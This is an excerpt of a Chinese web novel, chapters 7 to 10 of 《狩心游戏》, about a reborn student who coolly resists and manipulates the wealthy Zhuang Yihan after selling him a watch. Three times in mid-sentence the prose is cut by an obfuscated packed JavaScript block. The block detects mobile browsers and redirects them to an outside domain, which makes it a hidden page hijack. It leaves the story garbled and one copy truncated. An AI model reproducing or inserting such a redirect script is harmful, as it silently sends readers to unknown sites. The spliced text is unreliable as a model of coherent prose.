《狩心游戏》 7. 蠢蠢欲动 庄一寒从进门开始就发现了柜台后面的陈恕,不同于那天略显简单的休闲t恤,对方今天穿着一件剪裁得体的白色衬衫,袖子随意挽起,露出骨节分明的腕部,修长的指尖明明没有任何装饰,但就是优雅漂亮得惊人,安安静静坐在那儿,多了几分不可侵犯的禁欲感。 “先生,请问有什么可以为您服务的吗……” Ria的台词还没说完,就见面前这名西装革履的男子微微抬手,声音低沉道:“谢谢,我自己看就可以了。” 语罢迈步走向柜台,直接坐在了陈恕对面,Ria见状先是一愣,反应过来暗自翻了个白眼,扭着腰转身去了旁边,得,一看就是个gay。 “真巧,我们又见面了。” 庄一寒对于这个敢下自己面子的男模印象颇为深刻,此刻在这里遇见,语气难免多了几分兴味。 “庄先生?好巧。” 陈恕心中的情绪短暂起伏一瞬就重新归于平静,他脸上恰到好处流露出一丝讶异,随即操控鼠标退出电脑页面:“请问有什么可以帮您推荐的吗?” 庄一寒漫不经心扫过玻璃展柜里那些琳琅满目的手表:“听周经理说你辞职了,原来是找了份新工作,看来你适应的还不错。” 陈恕上辈子和庄一寒朝夕相处了整整九年的时间,不说把对方的性格摸得熟透,七七八八也是有的,一个眼神他就能猜出来庄一寒正在想些什么。 无非就是自己上次拒绝了他,有些耿耿于怀罢了。 陈恕从柜子里拿出一款新品样表,戴上手套用保养布细细擦拭着,简单的动作也赏心悦目,他微微垂眸,睫毛纤长,更显惊艳,让人心头莫名一跳:“庄总这是在怪我上次没有过去见您吗?” 庄一寒淡淡挑眉,让人捉摸不透喜怒:“不,只是我很担心买完手表,需要售后的时候也和上次一样忽然联系不上人……” 暗藏深意的话还没说完,他手腕忽然一凉,被陈恕悄无声息扣上了一款鳄鱼皮腕表,蓝宝石镜面,表壳边缘雕刻着精致复古的海浪纹,以一圈优雅的蓝钻做点缀,表盘是大海般的幽蓝色,清冷不失贵气,戴在庄一寒手上浑然天成,仿佛天生就是为他量身定做的一般。 “这款表是德国新人设计师Felix推出的十周年典藏款,叫‘蓝幽灵’,全球限量十枚,国内目前只有三枚存货,很适合你。” 这款表因为工艺和材料的缘故,价格相当昂贵,然而因为是新人设计师的作品,目前名气还没有炒起来,市场前途不明,导致许多收藏家都望而却步,更偏向于其它成名已久的系列。 直到八年后Felix因为癌症去世,这个郁郁半生的设计师才终于被世人发现他的才华,曾经的典藏系列也一度被炒上天价,一款绝版“蓝幽灵”在拍卖行被炒出了三百万的天价。 上辈子的陈恕花高价买下其中一款,想当做他们在一起九周年的纪念礼物,可惜他跳江死的太早,没能亲眼看见庄一寒戴上。 哦,说不定对方一点也不稀罕他的东西,根本就不会戴。 陈恕握着庄一寒清瘦修长的手仔细端详,目光仿佛要透过表盘上的指针穿透前世的光阴,他睫毛微垂,恰好遮住那浅浅的阴郁:“庄先生,虽然现在市场并不看好这款表,但无论是工艺还是材料都很值得收藏,我相信它将来的价值一定远不止于此。” 现在买也才八十万而已,等再过八年,创造它的人从这个世界死去,身价就会翻成三百万。 瞧,多值。 庄一寒完全没有听见陈恕在说什么,所有感官都集中在了手上,对方带着薄茧的指尖轻轻扣住他的掌心,触感有些酥痒,贴紧时他甚至能感受到陈恕骨骼的走向,心头不禁一跳,下意识抬眼看向了对方。 哪怕以庄一寒万般挑剔的目光,也不得不承认面前这个男人身上没有一处不是极品,从头到脚,连头发丝都是如此符合自己的审美。毕竟他怎么也想不到面前的陈恕无论是发型还是穿衣风格都是他上辈子手把手教出来的,没有一处不存在他亲手缔造的痕迹。 “是吗,但我如果仅仅只凭你的一句话就去赌,是不是有些太冒风险了?” 庄一寒不着痕迹把手抽出来,自己都有些佩服自己对美色的抵抗力,毕竟他今天是来给蒋晰挑生日礼物的,不是来跟小男模调情的。 陈恕望着自己落空的指尖,轻轻笑了一下,然后慢条斯理收回手:“庄先生,高风险,高回报,听说您也是生意人,不会不懂这个道理。” 庄一寒是精明的商人:“前提是那批货值得我冒风险。” 陈恕丝毫不慌:“也许您可以看看还有没有更喜欢的款式?” 他太了解庄一寒的审美了,整个店里不会有比这款更让他喜欢的表,而事实上也确实如此,庄一寒随便扫了一圈,发现确实是手上这款更让自己心动。 “你眼光不错,”庄一寒端详着手腕上的表,话锋陡然一转:“不过很可惜,我今天不是来给自己选表的。” 陈恕闻言一顿,不是来给自己选,那么谁能劳动庄一寒亲自来选? 庄一凡?还是…… 他心中冷不丁冒出了一个人的名字,下意识看向电脑显示的日期,这才想起过两天似乎就是蒋晰的生日了,因为对方喜欢收藏名表,所以庄一寒每年都会亲自选一款送过去当生日礼物,而上辈子的陈恕也“被迫”记住了这个日子。 是了,也只有蒋晰才能让庄一寒这么用心。 陈恕目光暗了暗,那一瞬间谁也不知道他心里在想什么,只是在旁人看不见的地方,一条黑蛇正盘踞在他肩头贪婪吸食着某种东西:“原来庄先生是给朋友选的,那看来我推荐的或许不太对。” 他把手表从庄一寒腕上轻轻褪了下来:“您可以再看看别的款式。” 不知为什么,庄一寒看见那款表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14420876|153627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被褪下的时候心中有一种说不出的怅然若失,他皱眉看向陈恕,原以为对方会继续极力推销“蓝幽灵”,但没想到那人只是将另外几款新品依次摆上柜台。 整排的钻石表在灯光下璀璨异常,但见过了第一款,其余的也只能成为将就。 庄一寒随手拿起一款看了看,主动询问陈恕:“你觉得好看吗?” 陈恕淡淡扫了眼那款手表,也是典藏级,只不过设计略显保守:“好看的手表很多,但找到喜欢的很难,您喜欢最重要。” 庄一寒不置可否,把手上那块表放回去:“这款帮我包起来。” 蒋晰更喜欢稳重保守的设计,但庄一寒并不喜欢这种呆板的风格,有时候细细回想,他们两个人的喜好堪称天差地别也不为过。 陈恕早就猜到结果,心中也不意外,他说了声稍等,正准备找包装盒把手表装进去,庄一寒忽然又道:“把那款蓝幽灵也一起定下来。” 他望着陈恕,顿了顿道: “不用包,直接帮我戴上。” 庄一寒喜欢的人一直是蒋晰,但遇到陈恕这种完美契合自己心中对另一半想象的人,就连清冷的菩萨也会控制不住犯戒,更何况现在的庄一寒还是一尊修为不到家的“泥菩萨”。 其实庄一寒话一出口便有些后悔,总觉得自己有些昏了头,却又说不清哪里昏了头,就好像被一股莫名的情绪勾引着犯了禁忌,然而陈恕只是望着他笑了笑,仿佛能看穿人心:“我的荣幸。” 他语罢帮庄一寒重新戴上那款表,握住对方的指尖欣赏片刻,也不知是不是想起前世的事,片刻后才低声道:“很漂亮。” 庄一寒从来没谈过恋爱,更没有被谁这么暧昧的夸赞过,他薄唇微抿,心中泛起一丝不易察觉的慌乱,有些不自在的想抽回手,却反被对方用力攥住,那人微微上扬的眼睛在灯光下漂亮得不可思议,不经意对上视线,大脑有了片刻空白。 陈恕目光清明,不带丝毫暧昧:“庄先生,手表是有售后的。” 指尖松开,取而代之的是一张写着电话号码的卡片:“七天之内,有什么问题可以随时找我。” 庄一寒用指尖夹住卡片,垂眸扫了眼,上面是一串电话号码:“什么问题都可以找你?” 陈恕唇边噙着一丝若有若无的笑意,细看却带着几分怜悯:“当然。” 因为这款表大概率是送不出去的,蒋晰上辈子举办生日宴会时不仅特意把庄一寒邀请过去,还当众宣布和一个据说认识不到十天的女人订婚。 彼时的陈恕并没有出席那场活动的资格,所以自然也就猜不到那天晚上的庄一寒是否狼狈屈辱,他只知道对方很快就会因为这次打击变得一蹶不振。 爱情会使人变得面目全非,无论前世今生,陈恕身边的人总是前赴后继,一遍又一遍验证着这个结论。 而这辈子他很乐意当一个看戏的旁观者。 8. 愿者上钩 又是一个骤雨倾盆的夜晚,这样潮湿的天气难免让人心中沉闷,就连一向吵闹的男生寝室也出奇安静,每个人都窝在自己的床上玩手机,谁也没开口说话。 陈恕洗完澡从卫生间出来,习惯性扫了眼段成材的床铺,果不其然空空如也,他已经忘了对方有多久没回寝室,床单上面都落了一层浮灰,对其余人问道:“段成材呢,我早上才看见他回来了。” 陈恕以前在寝室里是个小透明,但最近各门课程进步迅猛,俨然成为了老师眼中的尖子生,性格虽然还是和以前一样淡淡的,却莫名让人不敢轻视,说话比寝室长还好使。 于晦刚好睡段成材上铺,他掀起床帘往下瞥了眼,骂了句脏话:“鬼知道他跑哪儿去了,今天早上回来换衣服打扮得骚里骚气,说什么要去参加别人的生日宴,别人查寝的都记了他好几次,再这样下去直接退学算了!” 坐在桌边打游戏的禹川也吐槽道:“就是,天天跑得不见人影,也不知道干嘛去了,总不能和陈恕一样在外面兼职吧。” 陈恕在于晦家的店里兼职,所有人都知道情况,但段成材经常一连两三天都不回学校,而且每次都打扮得光鲜亮丽,怎么看都不像在外面工作赚钱的样子,已经有人察觉了些许端倪。 寝室最八卦的胡金言看了眼四周,忽然压低声音对众人道:“我跟你们说,隔壁系的甘青雨说他上次去酒吧玩,看见段成材在那种地方做男模,也不知道是不是真的。” 他这条消息可谓在寝室扔下了一个重磅炸弹,寝室除了陈恕之外的人立刻齐刷刷看了过来,神色难掩震惊:“卧槽!真的假的?!” 胡金言得意洋洋道:“我看啊八九不离十,段成材柜子里全是名牌衣服,最便宜的也要好几千一件呢,他哪儿买得起。” “你就那么确定他穿的是真货?” 陈恕冷不丁开口,把胡金言吓了一跳,他没由来一阵心虚,梗着脖子道:“我看着不像假货啊,你看段成材每天打扮得那么骚,说不定真的在外面……” “砰——” 陈恕原本在柜子里找衣服,闻言忽然把柜门关上,他偏头看向胡金言,目光虽然似笑非笑,却莫名让人胆战心惊:“你又没穿过真货,怎么确定他的衣服不是假货?” 胡金言涨红了脸:“但是甘青雨说……” 陈恕淡淡反问:“他说什么你就信什么,你是他养的狗吗?” 胡金言怒极起身:“你!” 胡金言家里虽然是本地的,但条件其实并不好,也就比陈恕这种从山沟沟里来的强上那么点,他在于晦这种富家少爷面前经常溜须拍马,在陈恕和段成材面前却时常摆出一副优越姿态,没少背后蛐蛐人。 上辈子段成材其实也不一定闹到了要自.杀的地步,是胡金言不知从哪里听到他在外面做男模的消息在学校四处散播,闹得沸沸扬扬,再加上段成材又刚好感情受挫,一时想不开就割腕了,最后迫于压力才不得不退学回老家。 陈恕没有伸张正义的闲心,但他讨厌碎嘴子,尤其是碎到自己面前的那种。 胡金言气得脸色涨红,恶狠狠瞪着陈恕,颇有一言不合就开打的趋势,于晦见情况不对,拍了拍床沿出来打圆场:“行了,你少说两句,都是同一个寝室的,吵架不嫌难看啊。” 胡金言家庭条件一般,没穿过那些奢侈品,最多就在网上看过,于晦却是经常穿的,他一眼就能看出来段成材穿的大概率都是真货,然而瞥了眼神色漠然的陈恕,到底把话咽了回去,什么都没说。 就在寝室氛围安静得有些尴尬的时候,只听走廊外面忽然响起一阵脚步声,段成材喝得醉醺醺的推门走了进来,刹那间所有人都下意识看了过去。 段成材靠着门打了个酒嗝,皮肤被酒气熏得通红,他见寝室所有人都盯着自己,语气茫然又奇怪:“你们都看着我干什么,我脸上又没金子。” 众人闻言这才尴尬移开视线,互相打着哈哈说没什么,只有胡金言盯着他不怀好意的问道:“段成材,你今天去哪儿了?” 段成材脱掉身上的西装外套挂在柜门上,说话有些大舌头:“不……不是说了吗,我去参加一个朋友的生日聚会了。” 胡金言嗤笑了一声:“我怎么没听说你在本市有朋友,你天天跑出去吃喝玩乐,还买这么多衣服,该不会是傍上什么大款了吧?” 他这句话一出,寝室其余几人脸色都变了变,年纪最大的禹川出声呵斥道:“胡金言,你乱说什么!” 出乎意料的是段成材竟然没有生气,他闻言低头看了眼自己的衣服,然后嘻嘻哈哈道:“你说我的衣服啊?都是假货,西大街一百块钱两件,喜欢的话我下次带你一起去呗。” 胡金言:“你放屁,西大街哪儿有这种衣服卖!” 陈恕不想听他们争执,径直去了阳台抽烟,外间夜色茫茫,只有体育场馆还亮着灯,骤雨打落一地梧桐。 真是个糟糕的天气,一点儿也不适合举办生日宴会。 陈恕在烟雾中眯了眯眼,内心如是想到,他明明不愿和庄一寒有所牵扯,但在夜深人静的时候依旧控制不住去猜测对方正在经历的一切,连自己都找不出原因。 【因为你在嫉妒。】 一道低沉的声音冷不丁在阳台响起,让人心头莫名一突,只见一条通体漆黑的蛇不知何时出现,正借着夜色的遮掩从陈恕手腕攀附缠绕而上,它吐了吐猩红的芯子,语气蛊惑: 【你在嫉妒,从买表那天就开始了。】 陈恕闻言指尖控制不住一抖,那一瞬间他仿佛被戳破了什么心事,连烟星烫到了手都没发觉,冷冷眯眼,听不出情绪的反问道:“……嫉妒什么?” 这条黑蛇看热闹不嫌事大: 【当然是庄一寒对蒋晰的爱,你上辈子想要却得不到的爱。】 陈恕闻言居然没有生气,他面无表情盯着幸灾乐祸的黑蛇,瞳仁在阳台微弱的光影照耀下显得阴郁而又病态,嘲讽勾唇,一字一句轻声道: “得不到我就不要了,反正也不是什么值钱的东西。” 【他对蒋晰的爱确实不值钱,但是可以换你的命。】 这条黑蛇觉得宿主的这个念头有些危险,它尾尖轻扫,也不知做了什么,陈恕指尖忽然传来一阵刺痛,连烟都没拿稳掉了下去,他错愕低头,却发现自己原本光洁的手臂不知什么时候变得发青肿胀,就像在水里泡了十几天的样子,皮肉外翻,甚至能看见里面鲜红的血肉和白森森的骨头,由里到外都透着腐烂的尸气。 “……” 陈恕脸色难看,惊得一度说不出话来。 黑蛇玩味的声音在黑夜中显得虚无缥缈,仿佛又回到了江底那个冰冷的夜晚:【陈恕,难道你想回到江底继续去做一具尸体吗?】 【既然你已经不爱他了,为什么不替自己考虑考虑?】 【你什么都不用做,只用在庄一寒爱上你后把他踹掉就可以了,他的后半辈子还很长,错过了你,还会有新的爱到来,你不会对他造成任何损失。】 【别犹豫了,否则我也救不了你,嗯?】 【活着才是最重要的。】 它忽然变得格外善良,每个字都悄无声息刺入了陈恕心底的最痛处,说完空气便陷入了一阵冗长的静默。 陈恕低头死死攥紧手臂,力道大得指尖都陷入了皮肉,或许他并没有表面上看起来那么洒脱,只是强行把那些不甘和恨意深埋在了心底,然而野兽是无法困住的,在每个夜深人静的晚上都会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他语罢静静等待着段成材羞怒的反应,但没想到对方愣了几秒,忽然噗嗤一下笑出了声,搭着他的肩膀乐不可支道:“陈恕,你想什么呢,我当然知道他同情我,这种富家少爷怎么可能和我这种人在一起。” 段成材笑得直不起腰来,身上的香水味混着酒气,形成一股难以言喻的腥甜味道,莫名让陈恕想起对方割腕的那个晚上,整个寝室都充斥着浓烈的血腥味,熏得人呼吸不畅。 段成材从凳子上起身,揉了揉笑得发疼的肚子:“放心吧,我可不会爱上他。” 他语罢低头望着陈恕,笑意渐渐停息,神情忽然变得格外认真,低声说了三个字:“谢谢你。” “哗啦。” 段成材转身进去了,阳台门打开又关上,空气重新陷入安静。 陈恕坐在原地,皱眉想了很久也不知道对方刚才那句话代表着什么意思,最后只能抛到脑后。他掐灭烟头,听着外间淅淅沥沥的风雨声,心中不期然浮现出一个念头—— 庄一寒的电话或许该来了。 如果他的记忆没出错,上辈子蒋晰就是今天宣布自己有了未婚妻,往庄一寒心头狠狠插了一把刀子。 陈恕正默默思忖着,口袋里的手机忽然震动了起来,声音格外急促,来电显示是一串没有备注的陌生数字,陈恕却一眼就认出这是庄一寒的私人号码。 陈恕短暂停顿三秒,最后轻点接通,话筒那头是明明是同样嘈杂的雨声,却莫名透着一股让人心慌的死寂,就像天边阴沉翻滚的乌云,压得人喘不过气来。 陈恕轻声开口:“庄总,这么晚有什么事吗?” 话筒那头静默一瞬,最后响起男子嘶哑疲惫的声音: “……你在哪儿,我想见你。” 9. 要跟我吗? 陈恕撑伞走到学校门口的时候,就见一辆黑色的迈巴赫静静停在路边,车身在雨夜的冲刷下显得神秘优雅,只是坐在驾驶座里的男子神情冰冷,透着难以言喻的阴鸷。 应该的,毕竟谁失恋了心情都不会太好。 陈恕微不可察笑笑,迈步走了过去,他屈指轻敲车窗,弯腰透过降下的缝隙询问道:“庄总,是不是手表出了什么问题?” 庄一寒瞥见陈恕被雨水溅湿的肩膀,眉头微皱,听不出情绪的道:“先上车。” 陈恕闻言虽然面露不解,但还是点点头,绕到另外一边坐上了驾驶座,雨声一瞬间被隔绝在外,朦朦胧胧的听不真切。 他将雨伞收好,弯腰放在脚边,抬头时却不经意看见挡风玻璃前放着一个礼品袋,在幽紫色的氛围灯照耀下,上面的商标字母清晰可见,赫然是那天庄一寒购买的腕表。 陈恕顿了顿,“善意”提醒道:“庄总,这款表如果有什么瑕疵你记得告诉我,我尽快联系维修部,免得错过了你朋友的生日……” 他话未说完,庄一寒也不知被戳中哪根敏感神经,忽然降下车窗把礼品袋甩了出去,不偏不倚刚好落进路边的垃圾桶,精致昂贵的礼品盒从袋子里翻滚掉出,被腐臭的垃圾染上了脏污,任谁也看不出它近百万的身价。 陈恕见状一怔:“庄总?” 庄一寒嗤笑:“怎么,你觉得很可惜?” 庄一寒从来都是优雅且高高在上的,极少有这样情绪外露的时候,然而无论多少次想起今天生日宴会上发生的事,他都会气到控制不住手抖,目光阴郁暗沉,酝酿着一团深不见底的风暴。 蒋晰真是好样的,为了躲他居然找了个认识不到十天的女人来当挡箭牌,还在大庭广众之下宣布订婚,圈子里的人谁不知道他喜欢蒋晰,对方特意把他邀请过去来了这么一出,和把他的脸面硬生生扔在地上踩有什么区别? 说实话,有时候连庄一寒自己都不明白为什么一定要喜欢这个人,这么多年蒋晰对他的态度总是忽冷忽热,好的时候特别好,冷下来却也只是一瞬间的事,那种迷茫混沌的情绪从他心头飞快掠过,快得甚至都来不及捕捉,只留下一片空白。 “呼……” 窗外传来一阵夜风吹拂的声音,终于把庄一寒从那种陌生的情绪中惊醒,当他意识到自己身处的环境后,忽然生出一种深深的无力感,控制不住缓缓倒入了椅背。他从后视镜里注视着陈恕的半边侧脸,轻扯嘴角,细看带着一抹不易察觉的讥讽自嘲: “为什么不说话?” 莫名让人胆战心惊,总感觉说错了话会有什么可怕的后果。 陈恕从来没见过这样的庄一寒,毕竟前世对方根本不屑在他面前展露丝毫情绪,哪怕卖了公司的芯片技术都不见生气。 可能是因为不在意吧? 瞧,蒋晰现在不就戳到了他的肺管子。 意识到这点后,陈恕总觉得自己眼前又出现了幻觉,仿佛那条黑蛇正盘踞在自己的手腕上看好戏,讥笑他的嫉妒和求而不得。 陈恕闭了闭眼,等再次睁开,又恢复了之前的从容:“庄总,礼物这种东西就是用来讨人喜欢的,假如不能让你高兴,那么就算一千万扔了也不可惜。” 庄一寒闻言心中暴躁的情绪诡异被安抚了一点,但也只是一点而已,语气依旧喜怒难辨:“你就不想知道为什么?” 陈恕:“我问了你会说吗?” 庄一寒皱眉移开视线,想也不想的道:“不会。” 当舔狗又不是什么光彩事,尤其还舔失败了,庄一寒这种人最讲体面和规矩,怎么可能说给别人听。 陈恕:“所以问了也没用,不过……我很想知道你的手为什么会受伤。” 庄一寒闻言下意识顺着他的目光看去,这才发现自己的右手指关节上有一片干涸的血痕,今天生日宴上几乎所有人都在看他的笑话,庄一寒当时忍得怒火中烧,脑子一片空白,也不知是不是离场的时候顺手锤了什么东西发泄,这才狼狈留下伤痕。 庄一寒拉下袖子,语气漠然:“不小心蹭的。” 陈恕也没戳穿他:“前面有家24小时药店,买点东西处理一下吧,免得发炎了。” 庄一寒眉头皱得更深:“不用去医院吗?” 他嘴上虽然不在意,但觉得自己的伤好像还挺严重的。 陈恕:“不用,等下次蹭骨折了再去医院也不迟。” 庄一寒闻言一噎,恼怒道:“你!” 陈恕却忽然对着庄一寒笑了笑,他拉起对方的手认真查看伤势,声音低沉,有一种错觉的关切和温柔:“逗你的,想去医院吗?我送你去看看。” “……” 庄一寒那口气顿时梗在胸口,吐不出也咽不下,没好气抽回手道:“不用,我没骨折!” 还行,挺有自知之明的。 陈恕看了眼窗外渐停的雨,直接打开车门下车,庄一寒见状还以为他生气了,心头莫名一紧,下意识追问道:“你去哪儿?” 陈恕闻言回头看向他,身形在夜色中显得格外挺拔,路灯微弱的光芒将他的侧脸照得深邃而又温情,恰好是最让人怦然心动的模样和年纪:“我去买药,你在车上等我。” 原来是为了给自己买药…… 庄一寒闻言动了动唇,那一瞬间似乎想说些什么,但又什么都没说,只能眼睁睁看着陈恕离去。他沉默着倒入椅背,一向傲气的脊背此刻竟显得有些狼狈和颓然,皱眉揉了揉胸口,只觉得心里某个地方痒痒的,好像有什么东西要长出来了,很奇怪。 过了大概十几分钟,陈恕才重新回来,手上还拎着一个药袋,此时的雨已经停了,夜晚凉风阵阵,反倒显得车子里有些闷。 “要不要下来吹吹风?” 面对陈恕的邀请,庄一寒发现自己居然没办法拒绝,他打开车门下来,发现路边有一条长椅,正准备走过去坐下,却忽然瞥见上面细碎的水痕,动作又硬生生顿住了。 陈恕见状脱下身上的外套,直接丢到椅子上:“坐吧。” 庄一寒看了他一眼:“你的衣服怎么办?” 陈恕不在意:“洗洗就行了。” 庄一寒闻言虽然有些迟疑,但还是坐了上去,他暗自皱眉,心想自己今天怎么老是做昏头的事,莫名其妙把陈恕叫出来,还当着他的面把表给扔了,怎么看都像个神经病,现在还要麻烦对方帮忙上药,忍不住低声道: “我自己处理伤口就行了。” 陈恕却置若罔闻,他在庄一寒面前倾身蹲下,一言不发拆开棉签包装,沾着碘伏替对方细细处理伤口,当庄一寒的指尖因为疼痛紧绷颤抖时,他的动作顿了顿:“是不是我下手太重了?” 庄一寒低低吐出一口气,额头冒出了细密的冷汗:“没有,你继续。” 陈恕只好继续替庄一寒清理伤口,他眉眼低垂,神色温柔,力道却不见丝毫放轻,疼痛自然也就一阵重过一阵,偏偏无人察觉。 庄一寒很痛吗? 痛就对了,喜欢蒋晰就是要痛的,而且要痛得死去活来。 陈恕微不可察勾了勾唇,眼底却一片冰凉,他上完药,用纱布打了一个漂亮的结,最后才抬头看向庄一寒,却见对方疼得脸色苍白,额头满是冷汗,却因为不想出声,只能死死咬紧牙关。 那一刻陈恕的心中就像被什么东西刺了一下,忽然泛起微妙的情绪。 他差点忘了一件事。 自己以前也是爱过庄一寒的。 “……是不是很疼?” 陈恕忽然低声开口,他抬手碰了碰庄一寒被咬破的下唇,冰凉白皙的指尖和唇色形成鲜明对比,摩挲时带着说不出的温柔,甚至有几分真假难辨的心疼: “你刚才如果出声,我会轻一点的。” 可是庄一寒,你太倔了,上辈子是这样,这辈子还是这样,你不疼谁疼? 庄一寒敏锐捕捉到了陈恕眼底一闪而过的心疼,神色有片刻怔愣,他回过神来,竭力忽略心头异样的感觉,皱眉哑声道:“我说过了不疼。” 心中却冒出一连串的问号。 为什么要用这种心疼的目光看着自己?为什么要因为他一个电话就大半夜跑出来?明明他们才刚认识不是吗? 庄一寒大脑一团乱麻,心想难道是因为自己有钱,所以对方才不敢得罪?这个念头就像一盆冷水,将他刚才还炽热躁动的心瞬间浇熄,人也冷静了下来。 庄一寒盯着陈恕,控制不住开口问道:“为什么我一打电话你就出来了?” 天这么黑,雨这么大,就算是怕手表出现问题,也早就过了下班的时间,陈恕大可以不理他的。 陈恕低头收拾着地上散落的棉签:“因为你有钱。” 庄一寒一瞬间怀疑自己听错了:“你说什么?” 陈恕干脆停下动作,抬眼看向他:“你想听的难道不是这句话吗?” “… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14439968|153627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 他们两个的视线在空气中接触,四周静得一时只能听见风声,庄一寒只感觉自己与生俱来的算计和城府都在陈恕的目光中一览无遗,他嘴角的弧度缓缓落下,逐渐变得面无表情起来,虽然不言不语,但就是莫名骇人。 这才是真正的庄一寒,冰冷,阴鸷,多疑。 而他被陈恕看穿了。 不知过了多久,庄一寒终于有所动作,就在陈恕思考着他会不会恼羞成怒的时候,庄一寒却蓦的低笑一声,打破了死寂般的沉默。 只见他微微倾身,伸手捏住陈恕的下巴,目光仔细掠过男子清俊的眉眼,不知在想些什么,语气低沉认真: “你挺有意思的,要不要跟我?” 毕竟蒋晰都有未婚妻了,他包养个小情人又算什么? “陈恕,跟了我,以后你要什么就有什么。” 却忘了他自己尚且有求不得的东西,又有什么资格说这句话。 “……” 夜风吹拂,回答庄一寒的是一片静默,陈恕过了片刻才明白对方嘴里的“跟”是什么意思,却是微微一笑,暗藏不易察觉的嘲讽,偏头避开了庄一寒的触碰: “抱歉,我没什么想要的。” 陈恕拒绝的态度是那么明显,让庄一寒想自欺欺人都不行,换了往常他大概会笑对方不识抬举,毕竟除了蒋晰还从来没人能让他这么死乞白赖的栽跟头,然而此刻面对陈恕,庄一寒却破天荒多了几分商场谈判的耐心,语意深深:“现在没有,不代表以后没有。” 陈恕:“那也是以后的事了。” 庄一寒的神情喜怒难辨:“你就不怕得罪我?” 他今天的心情已经被蒋晰败坏到了极点,在这个节骨眼上惹他生气绝对不是一个明智的选择,毕竟陈恕只是一个穷学生,庄一寒动动手指就可以让他在a市翻不了身。 陈恕:“庄总看起来不是那么小心眼的人。” 庄一寒面无表情挑眉:“是吗?那你可能不怎么了解我。” 熟悉他的人如果听见这句话一定会笑掉大牙,庄一寒不小心眼?他如果不小心眼,那些年被他逼得倾家荡产的商业对手又算什么?这个男人眼睛里分明一点也揉不得沙子。 陈恕偏偏敢在老虎嘴里拔牙,他从地上站起身,拍了拍裤子上不存在的浮灰,看起来对庄一寒的威胁浑不在意:“也许吧,庄总,时间不早,我先回学校了。” 他语罢把药袋放在庄一寒身侧,转身准备离开,手腕却忽然一紧,猝不及防被拽了回去,险些摔到庄一寒身上。陈恕情急之下只能扶住对方身后的椅背稳住身形,他低着头和庄一寒对视,近到呼吸都纠缠在一起,目光微暗,声音也哑了下来: “什么意思?” 他们两个的指尖都冰凉刺骨,一时间竟分不清是谁冷了谁。 庄一寒睨着陈恕瞳仁中属于自己的倒影,竟有些不易察觉的心跳加速和干渴,他无意识动了动喉结,锋利的眉眼在黑夜中沾染了世俗欲望,如同一捧白雪被墨水浸透,下巴微抬,难掩势在必得: “陈恕,我想要的东西很少有得不到的。” 陈恕唇角微勾:“是吗?我不信。” 他说完这句话,不顾庄一寒阴晴不定的脸色,干脆利落的转身走了,莫名让人想起夏季傍晚的风,年轻肆意,却怎么也抓不住。 陈恕回到寝室后几乎一夜未眠,他闭目躺在床上,总是控制不住想起上辈子,自己死乞白赖跟在庄一寒身边才得到一个包养的机会,没想到这辈子居然是对方主动提出的。 凭什么呢?为什么呢? 他在为前世的自己发出声声质问,带着许多酸涩和不甘,恍惚间有什么冰凉的东西顺着手腕缠了上来,陈恕缓慢睁眼,却对上了一双猩红的蛇瞳。 【你为什么不答应他?】 这条黑蛇觉得陈恕如果答应了庄一寒,或许他们能够更快完成任务。 陈恕轻轻笑了:“你觉得是你更了解他,还是我更了解他?” 庄一寒这个人有着数不清的钱财,却偏偏不喜欢别人因为钱而靠近他,上辈子的陈恕就是犯了这个忌讳,这辈子又怎么可能重蹈覆辙。 陈恕闭上双眼,轮廓分明的侧脸隐入阴影,仿佛已经陷入了沉睡,在黑暗中用仅有自己能听见的声音道:“放心吧,他不会就这么算了的……” 黑蛇无聊甩了甩尾巴尖:【好吧。】 人类真是复杂的生物。 10. 悔 之后的几天,日子又重新回到了正轨,就连段成材也老老实实回了学校上课。说来奇怪,陈恕和他的交集明明并不算多,细算起来甚至比不上和于晦在一起的时间,但关系却是寝室里最近的—— 陈恕总感觉他在段成材身上嗅到了很微妙的同类气息,腥甜的、腐烂的、见不得光的……尸体味儿。 但对方明明是个活生生的人。 “陈恕,寝室楼下面有人找你!” 段成材就那么抱着一颗篮球上来了,白色的体恤长裤,相比以前花里胡哨的模样简直素净的不像话。 陈恕原本在做作业,闻言从电脑后面抬起头,微不可察皱了皱眉:“谁?” 段成材拿着杯子从饮水机接了一满杯水,仰头咕嘟咕嘟喝干净,这才喘口气道:“不知道,一个男的,年纪不是很大,是不是你弟弟啊,长得和你挺像……” 他话未说完,就见陈恕忽然拿了件外套匆匆起身,一阵风似的离开了寝室:“我有点事出去,帮我把电脑作业存一下!” 段成材不满喊了一声:“喂!我也有事急着出门呢!” 对方却早就跑没影了。 陈恕跑到楼下的时候,隔着老远就看见弟弟陈忌站在树荫底下,瘦高的身形,肩上背着一个黑色的大号旅行包,里面也不知塞了什么,鼓鼓囊囊,涨得连拉链都险些撑裂开,四处都是磨损的痕迹,整个人看起来灰扑扑的,和鲜亮明媚的校园是如此格格不入。 